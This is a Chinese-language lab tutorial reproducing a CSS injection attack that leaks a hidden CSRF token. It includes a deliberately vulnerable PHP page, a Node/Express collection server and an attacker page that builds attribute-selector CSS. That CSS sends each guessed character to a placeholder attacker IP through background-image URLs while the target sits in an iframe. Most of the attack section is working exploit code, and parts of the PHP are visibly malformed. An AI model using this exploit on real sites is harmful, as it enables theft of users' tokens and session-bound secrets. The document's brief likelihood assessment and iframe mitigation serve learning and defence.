CSS注入就是使用CSS的一些特性写成脚本在特定的工作条件下造成用户敏感信息泄露的一种安全漏洞,其触发条件苛刻但是还是彰显出了CSS独特的魅力。其最早被波兰的安全人员提出来。这里有本文的参考原始链接。(作者原文)
1.引发原因
从用户提供的URL中引入CSS文件即就是CSS代码中采用了用户的输入数据
2.原理:
CSS属性选择器让开发者可以根据属性标签的值匹配子字符串来选择元素。 这些属性值选择器可以做以下操作:
1.如果字符串以子字符串开头,则匹配;
2.如果字符串以子字符串结尾,则匹配;
3.如果字符串在任何地方包含子字符串,则匹配;
4.属性选择器能让开发人员查询单个属性的页面HTML标记,并且匹配它们的值;
而在实际环境中,一些敏感信息会被存放在HTML标签内,如CSRF攻击需要用到的token存储在隐藏表单的属性值中,这使得我们可以将CSS选择器与表单中的属性进行匹配,并根据表单是否与起始字符串匹配,加载一个外部资源,例如背景图片,来尝试猜测属性的起始字母。通过这种方式,攻击者可以进行逐字猜解并最终获取到完整的敏感数值。
使用软件:phpstuday
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
?>
<!doctype html><meta charset=utf-8>
<input type=hidden value=<?=$token1 ?>>
<script>
var TOKEN = "=$token2 ?>";
</script>
<style>
<?=preg_replace('#, '#', $_GET['css']) ?>
</style>
测试访问,可以在开发者视图中看到token
注:这里为了让虚拟机可以访问此页面需要在小皮上再绑定一个虚拟机网段的本机IP地址
这里使用centos7来安装nodejs
安装教程:centos7安装nodejs
创建脚本package.json运行配置相关组件
{
"name": "css-attack-1",
"version": "1.0.0",
"description": "",
"main": "index.js",
"dependencies": {
"express": "^4.15.5",
"js-cookie": "^2.1.4"
},
"devDependencies": {},
"author": "",
"license": "ISC"
}
#当前写入文件的目录下运行此命令
[root@blackstone cssinject]# npm install
服务器部分只需响应三个 http 查询:
/index.html – 将提供来自同一目录的索引.html文件,
/cookie.js – 将提供一个 js-cookie 库文件,它允许你使用JS对 cookie 进行方便的操作,
/token/:token – 在此地址,将接受带有后续令牌字符的返回连接。作为响应,将设置一个“令牌”cookie,其值与转发到服务器的值相同。
让我们创建一个 index.js 文件来执行所有这些功能:
const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');
const PORT = 3000;
// Obsługa zapytania przyjmującego token jako połączenie
// zwrotne.
app.get('/token/:token', (req, res) => {
const { token } = req.params;
// W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie
// token i tej samej wartości, która została przekazana w URL-u
res.cookie('token', token);
res.send('');
});
app.get('/cookie.js', (req, res) => {
res.sendFile('js.cookie.js', {
root: './node_modules/js-cookie/src/'
});
});
app.get('/index.html', (req, res) => {
res.sendFile('index.html', {
root: '.'
});
});
app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
})
运行测试
[root@blackstone cssinject]# node index.js
Listening on 3000...
doctype html><meta charset=utf-8>
<script src="./cookie.js">script>
<big id=token>big><br>
<iframe id=iframe>iframe>
<script>
(async function() {
const EXPECTED_TOKEN_LENGTH = 32;
const ALPHABET = Array.from("0123456789abcdef");
const iframe = document.getElementById('iframe');
let extractedToken = '';
while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {
clearTokenCookie();
createIframeWithCss();
extractedToken = await getTokenFromCookie();
document.getElementById('token').textContent = extractedToken;
}
function getTokenFromCookie() {
return new Promise(resolve => {
const interval = setInterval(function() {
const token = Cookies.get('token');
if (token) {
clearInterval(interval);
resolve(token);
}
}, 50);
});
}
function clearTokenCookie() {
Cookies.remove('token');
}
function generateCSS() {
let css = '';
for (let char of ALPHABET) {
css += `input[value^="${extractedToken}${char}"] {
background: url(http://攻击者IP:3000/token/${extractedToken}${char})
}`;
}
return css;
}
function createIframeWithCss() {
iframe.src = 'http://受攻击者存在注入点的路径/?css=' + encodeURIComponent(generateCSS());
}
})();
script>
注:此页面和刚才的脚本放到同一个目录下
将2.3的配置页面本地化了之后,启动node服务,尝试本地访问恶意页面:
看到报错:这里有个samesite的报错,并不是此问题的根本原因,各位有兴趣的可以了解一下
samesite属性。
真实原因:
我们的token值所在的input标签是hidden状态,这会导致在恶意脚本中的选择器无法选中此元素进行背景设置(进行遍历)
解决方案:
使用兄弟选择器强行选中带有tocken的标签进行注入。这就表示这个页面必须有其余的input标签,当然在正常的网页设计中,仅仅设计一个隐藏的input标签是很少见的。通常都是多个input标签同时写入。
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
?>
<!doctype html><meta charset=utf-8>
<input type=hidden value=<?=$token1 ?>>
<input type="" name="">
<script>
var TOKEN = "=$token2 ?>";
</script>
<style>
<?=preg_replace('#, '#', $_GET['css']) ?>
</style>
[root@blackstone cssinject]# node index.js
可以看到,页面中的tocken已经被存储到本地的cookie之中了。到这里复现就成功了。
(1)目标服务器中有注入点,即提交的信息会被作为标签内的元素使用 - 十分罕见
(2)同一页面内部存在多个input标签,其中有隐藏属性的token信息 - 较常见
综上,这种安全漏洞出现的可能性较低,但是在大多数比赛中还是可能遇见的。
如图,攻击者利用iframe标签将目标页面引入到自己的服务器上,在在当前的页面内利用css注入的相关技巧,遍历出存储在目标页面内部的token信息,又由于JS是在客户端运行的,故只能将获取到的token存储在客户端的cookie当中。此时用户实际上是在和恶意服务器进行通信,对于服务器来说获取用户cookie是很正常的操作。于是用户的token便被泄露了出去。
从第二点的利用过程中可以看出,是使用了iframe这样一个特性才让我们的页面被引到别的网站上去,如果没有特殊的需求我们可以关闭这一功能。